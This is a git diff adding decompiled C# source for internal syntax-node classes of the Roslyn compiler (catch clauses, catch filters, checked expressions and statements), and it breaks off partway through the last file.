+namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CatchClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken catchKeyword; + + internal readonly CatchDeclarationSyntax? declaration; + + internal readonly CatchFilterClauseSyntax? filter; + + internal readonly BlockSyntax block; + + public SyntaxToken CatchKeyword => catchKeyword; + + public CatchDeclarationSyntax? Declaration => declaration; + + public CatchFilterClauseSyntax? Filter => filter; + + public BlockSyntax Block => block; + + internal CatchClauseSyntax(SyntaxKind kind, SyntaxToken catchKeyword, CatchDeclarationSyntax? declaration, CatchFilterClauseSyntax? filter, BlockSyntax block, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)catchKeyword); + this.catchKeyword = catchKeyword; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (filter != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)filter); + this.filter = filter; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal CatchClauseSyntax(SyntaxKind kind, SyntaxToken catchKeyword, CatchDeclarationSyntax? declaration, CatchFilterClauseSyntax? filter, BlockSyntax block, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)catchKeyword); + this.catchKeyword = catchKeyword; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (filter != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)filter); + this.filter = filter; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal CatchClauseSyntax(SyntaxKind kind, SyntaxToken catchKeyword, CatchDeclarationSyntax? declaration, CatchFilterClauseSyntax? filter, BlockSyntax block) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)catchKeyword); + this.catchKeyword = catchKeyword; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (filter != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)filter); + this.filter = filter; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => catchKeyword, + 1 => declaration, + 2 => filter, + 3 => block, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CatchClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCatchClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCatchClause(this); + } + + public CatchClauseSyntax Update(SyntaxToken catchKeyword, CatchDeclarationSyntax declaration, CatchFilterClauseSyntax filter, BlockSyntax block) + { + if (catchKeyword != CatchKeyword || declaration != Declaration || filter != Filter || block != Block) + { + CatchClauseSyntax catchClauseSyntax = SyntaxFactory.CatchClause(catchKeyword, declaration, filter, block); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + catchClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(catchClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + catchClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(catchClauseSyntax, (IEnumerable)annotations); + } + return catchClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CatchClauseSyntax(base.Kind, catchKeyword, declaration, filter, block, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CatchClauseSyntax(base.Kind, catchKeyword, declaration, filter, block, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CatchClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + catchKeyword = syntaxToken; + CatchDeclarationSyntax catchDeclarationSyntax = (CatchDeclarationSyntax)reader.ReadValue(); + if (catchDeclarationSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)catchDeclarationSyntax); + declaration = catchDeclarationSyntax; + } + CatchFilterClauseSyntax catchFilterClauseSyntax = (CatchFilterClauseSyntax)reader.ReadValue(); + if (catchFilterClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)catchFilterClauseSyntax); + filter = catchFilterClauseSyntax; + } + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)catchKeyword); + writer.WriteValue((IObjectWritable)(object)declaration); + writer.WriteValue((IObjectWritable)(object)filter); + writer.WriteValue((IObjectWritable)(object)block); + } + + static CatchClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CatchClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CatchClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchDeclarationSyntax.cs new file mode 100644 index 0000000..eaf653e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchDeclarationSyntax.cs @@ -0,0 +1,168 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CatchDeclarationSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openParenToken; + + internal readonly TypeSyntax type; + + internal readonly SyntaxToken? identifier; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public TypeSyntax Type => type; + + public SyntaxToken? Identifier => identifier; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal CatchDeclarationSyntax(SyntaxKind kind, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken? identifier, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (identifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CatchDeclarationSyntax(SyntaxKind kind, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken? identifier, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (identifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CatchDeclarationSyntax(SyntaxKind kind, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken? identifier, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (identifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => type, + 2 => identifier, + 3 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCatchDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCatchDeclaration(this); + } + + public CatchDeclarationSyntax Update(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken closeParenToken) + { + if (openParenToken != OpenParenToken || type != Type || identifier != Identifier || closeParenToken != CloseParenToken) + { + CatchDeclarationSyntax catchDeclarationSyntax = SyntaxFactory.CatchDeclaration(openParenToken, type, identifier, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + catchDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(catchDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + catchDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(catchDeclarationSyntax, (IEnumerable)annotations); + } + return catchDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CatchDeclarationSyntax(base.Kind, openParenToken, type, identifier, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CatchDeclarationSyntax(base.Kind, openParenToken, type, identifier, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CatchDeclarationSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static CatchDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CatchDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CatchDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchFilterClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchFilterClauseSyntax.cs new file mode 100644 index 0000000..877c751 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchFilterClauseSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CatchFilterClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken whenKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax filterExpression; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken WhenKeyword => whenKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax FilterExpression => filterExpression; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal CatchFilterClauseSyntax(SyntaxKind kind, SyntaxToken whenKeyword, SyntaxToken openParenToken, ExpressionSyntax filterExpression, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenKeyword); + this.whenKeyword = whenKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)filterExpression); + this.filterExpression = filterExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CatchFilterClauseSyntax(SyntaxKind kind, SyntaxToken whenKeyword, SyntaxToken openParenToken, ExpressionSyntax filterExpression, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenKeyword); + this.whenKeyword = whenKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)filterExpression); + this.filterExpression = filterExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CatchFilterClauseSyntax(SyntaxKind kind, SyntaxToken whenKeyword, SyntaxToken openParenToken, ExpressionSyntax filterExpression, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenKeyword); + this.whenKeyword = whenKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)filterExpression); + this.filterExpression = filterExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => whenKeyword, + 1 => openParenToken, + 2 => filterExpression, + 3 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CatchFilterClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCatchFilterClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCatchFilterClause(this); + } + + public CatchFilterClauseSyntax Update(SyntaxToken whenKeyword, SyntaxToken openParenToken, ExpressionSyntax filterExpression, SyntaxToken closeParenToken) + { + if (whenKeyword != WhenKeyword || openParenToken != OpenParenToken || filterExpression != FilterExpression || closeParenToken != CloseParenToken) + { + CatchFilterClauseSyntax catchFilterClauseSyntax = SyntaxFactory.CatchFilterClause(whenKeyword, openParenToken, filterExpression, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + catchFilterClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(catchFilterClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + catchFilterClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(catchFilterClauseSyntax, (IEnumerable)annotations); + } + return catchFilterClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CatchFilterClauseSyntax(base.Kind, whenKeyword, openParenToken, filterExpression, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CatchFilterClauseSyntax(base.Kind, whenKeyword, openParenToken, filterExpression, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CatchFilterClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + whenKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + filterExpression = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)whenKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)filterExpression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static CatchFilterClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CatchFilterClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CatchFilterClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CheckedExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CheckedExpressionSyntax.cs new file mode 100644 index 0000000..6696f32 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CheckedExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CheckedExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken Keyword => keyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal CheckedExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CheckedExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CheckedExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => openParenToken, + 2 => expression, + 3 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CheckedExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCheckedExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCheckedExpression(this); + } + + public CheckedExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + CheckedExpressionSyntax checkedExpressionSyntax = SyntaxFactory.CheckedExpression(base.Kind, keyword, openParenToken, expression, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + checkedExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(checkedExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + checkedExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(checkedExpressionSyntax, (IEnumerable)annotations); + } + return checkedExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CheckedExpressionSyntax(base.Kind, keyword, openParenToken, expression, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CheckedExpressionSyntax(base.Kind, keyword, openParenToken, expression, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CheckedExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static CheckedExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CheckedExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CheckedExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CheckedStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CheckedStatementSyntax.cs new file mode 100644 index 0000000..b7dcb7d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CheckedStatementSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CheckedStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken keyword; + + internal readonly BlockSyntax block; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken Keyword => keyword; + + public BlockSyntax Block => block; + + internal CheckedStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken keyword, BlockSyntax block, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal CheckedStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken keyword, BlockSyntax block, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal CheckedStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken keyword, BlockSyntax block) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => keyword, + 2 => block, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CheckedStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCheckedStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCheckedStatement(this); + } + + public CheckedStatementSyntax Update(SyntaxList attributeLists, SyntaxToken keyword, BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || keyword != Keyword || block != Block) + { + CheckedStatementSyntax checkedStatementSyntax = SyntaxFactory.CheckedStatement(base.Kind, attributeLists, keyword, block); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + checkedStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(checkedStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + checkedStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(checkedStatementSyntax, (IEnumerable)annotations); + } + return checkedStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CheckedStatementSyntax(base.Kind, attributeLists, keyword, block, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CheckedStatementSyntax(base.Kind, 